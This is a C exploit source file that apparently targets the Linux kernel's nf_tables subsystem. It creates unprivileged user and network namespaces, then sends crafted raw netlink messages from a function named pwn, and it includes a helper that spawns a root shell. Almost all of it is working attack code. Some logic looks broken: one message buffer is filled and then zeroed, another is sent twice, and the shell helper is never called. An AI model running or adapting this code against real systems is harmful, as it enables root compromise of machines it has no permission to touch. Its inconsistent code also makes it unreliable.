#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
#include <sys/mman.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/if_ether.h>
void err_exit(char *s){ perror(s); exit(-1); } void unshare_setup(void) { char edit[0x100]; int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
#include <sys/socket.h> #include <linux/netlink.h>
#include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #include <string.h>
#include "netlink.h" #include "nf_tables.h" #include "log.h"
const uint8_t zerobuf[0x40] = {0};
void create_table(int sock, const char *name) { struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[3]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE); if (!nlh) do_error_exit("malloc");
memset(nlh, 0, TABLEMSG_SIZE); nlh->nlmsg_len = TABLEMSG_SIZE; nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0;
nfm = NLMSG_DATA(nlh); nfm->nfgen_family = NFPROTO_INET;
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); set_str8_attr(attr, NFTA_TABLE_NAME, name);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh_batch_begin; iov[0].iov_len = nlh_batch_begin->nlmsg_len; iov[1].iov_base = (void *)nlh; iov[1].iov_len = nlh->nlmsg_len; iov[2].iov_base = (void *)nlh_batch_end; iov[2].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh); free(nlh_batch_begin); } void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) { struct msghdr msg; struct sockaddr_nl dest_snl; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_payload; struct nlmsghdr *nlh_batch_end; struct nfgenmsg *nfm; struct nlattr *attr; uint64_t nlh_payload_size; struct iovec iov[3];
memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); dest_snl.nl_family = AF_NETLINK;
nlh_batch_begin = get_batch_begin_nlmsg();
nlh_payload_size = sizeof(struct nfgenmsg); nlh_payload_size += S8_NLA_SIZE; nlh_payload_size += S8_NLA_SIZE; nlh_payload_size += U32_NLA_SIZE; nlh_payload_size += U32_NLA_SIZE; nlh_payload_size += U32_NLA_SIZE; nlh_payload_size += U32_NLA_SIZE; nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size); if (!nlh_payload) do_error_exit("malloc");
memset(nlh_payload, 0, nlh_payload_size);
nlh_payload->nlmsg_len = nlh_payload_size; nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; nlh_payload->nlmsg_pid = getpid(); nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; nlh_payload->nlmsg_seq = 0;
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload); nfm->nfgen_family = NFPROTO_INET;
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg))); attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name); attr = set_str8_attr(attr, NFTA_SET_NAME, set_name); attr = set_u32_attr(attr, NFTA_SET_ID, id); attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen); attr = set_u32_attr(attr, NFTA_SET_FLAGS, 1); set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh_batch_begin; iov[0].iov_len = nlh_batch_begin->nlmsg_len; iov[1].iov_base = (void *)nlh_payload; iov[1].iov_len = nlh_payload->nlmsg_len; iov[2].iov_base = (void *)nlh_batch_end; iov[2].iov_len = nlh_batch_end->nlmsg_len;
memset(&msg, 0, sizeof(struct msghdr)); msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh_payload); free(nlh_batch_begin); }
void create_chain(int sock, const char *table_name, const char *chain_name) { struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[3]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int nlh_payload_size = sizeof(struct nfgenmsg); nlh_payload_size += S8_NLA_SIZE; nlh_payload_size += S8_NLA_SIZE;
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
nlh = (struct nlmsghdr *)malloc(nlh_payload_size); if (!nlh) do_error_exit("malloc");
memset(nlh, 0, nlh_payload_size); nlh->nlmsg_len = nlh_payload_size; nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0;
nfm = NLMSG_DATA(nlh); nfm->nfgen_family = NFPROTO_INET;
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); attr = set_str8_attr(attr, NFTA_CHAIN_TABLE, table_name); attr = set_str8_attr(attr, NFTA_CHAIN_NAME, chain_name);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh_batch_begin; iov[0].iov_len = nlh_batch_begin->nlmsg_len; iov[1].iov_base = (void *)nlh; iov[1].iov_len = nlh->nlmsg_len; iov[2].iov_base = (void *)nlh_batch_end; iov[2].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh); free(nlh_batch_begin); }
void pwn(int sock){ struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[0x100]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int pay0_size = 60; int nlh0_size = NLMSG_SPACE(pay0_size);
struct nlmsghdr *nlh0 = (struct nlmsghdr *)malloc(nlh0_size); memset(nlh0, 0, nlh0_size); nlh0->nlmsg_len = nlh0_size; nlh0->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; nlh0->nlmsg_pid = getpid(); nlh0->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh0->nlmsg_seq = 0;
uint8_t msgcon0[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,48,49,8,0,10,0,0,0,0,1,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,1,8,0,7,0,0,0,0,16}; memcpy((void *)nlh0+0x10, msgcon0, pay0_size);
int pay01_size = 60; int nlh01_size = NLMSG_SPACE(pay01_size);
struct nlmsghdr *nlh01 = (struct nlmsghdr *)malloc(nlh01_size); memset(nlh01, 0, nlh01_size); nlh01->nlmsg_len = nlh01_size; nlh01->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; nlh01->nlmsg_pid = getpid(); nlh01->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh01->nlmsg_seq = 0;
uint8_t msgcon01[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,48,50,8,0,10,0,0,0,0,2,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,1,8,0,7,0,0,0,0,16}; memcpy((void *)nlh01+0x10, msgcon01, pay01_size);
int pay1_size = 168; int nlh1_size = NLMSG_SPACE(pay1_size);
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); memset(nlh1, 0, nlh1_size); nlh1->nlmsg_len = nlh1_size; nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE; nlh1->nlmsg_pid = getpid(); nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh1->nlmsg_seq = 0;
uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,99,104,97,105,110,140,0,4,0,48,0,1,0,32,0,2,0,12,0,1,0,109,121,95,115,101,116,48,49,8,0,2,0,0,0,0,1,8,0,4,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,48,0,1,0,32,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,8,0,4,0,0,0,0,2,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,49,50,51,52,53,54,55,56,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0}; memcpy((void *)nlh1+0x10, msgcon1, pay1_size);
int pay2_size = 152; int nlh2_size = NLMSG_SPACE(pay2_size); struct nlmsghdr *nlh2 = (struct nlmsghdr *)malloc(nlh2_size);
uint8_t msgcon2[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,99,104,97,105,110,124,0,4,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,49,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,12,0,1,0,108,111,111,107,117,112,0,0,40,0,1,0,24,0,2,0,12,0,1,0,109,121,95,115,101,116,48,50,8,0,2,0,0,0,0,1,12,0,1,0,49,50,51,52,53,54,55,56}; memcpy((void *)nlh2+0x10, msgcon2, pay2_size);
memset(nlh2, 0, nlh2_size); nlh2->nlmsg_len = nlh2_size; nlh2->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE; nlh2->nlmsg_pid = getpid(); nlh2->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; nlh2->nlmsg_seq = 0;
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(iov)); int tot_iov = 0; iov[tot_iov].iov_base = (void *)nlh_batch_begin; iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len; iov[tot_iov].iov_base = nlh0; iov[tot_iov++].iov_len = nlh0->nlmsg_len; iov[tot_iov].iov_base = nlh01; iov[tot_iov++].iov_len = nlh01->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = (void *)nlh_batch_end; iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = tot_iov;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh1); free(nlh_batch_begin); }
int main(){ save_status(); bindCore(0); unshare_setup();
int sock; if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) { perror("socket"); } printf("[+] Netlink socket created\n");
create_table(sock, "my_table"); create_chain(sock, "my_table", "my_chain"); pwn(sock);
}
|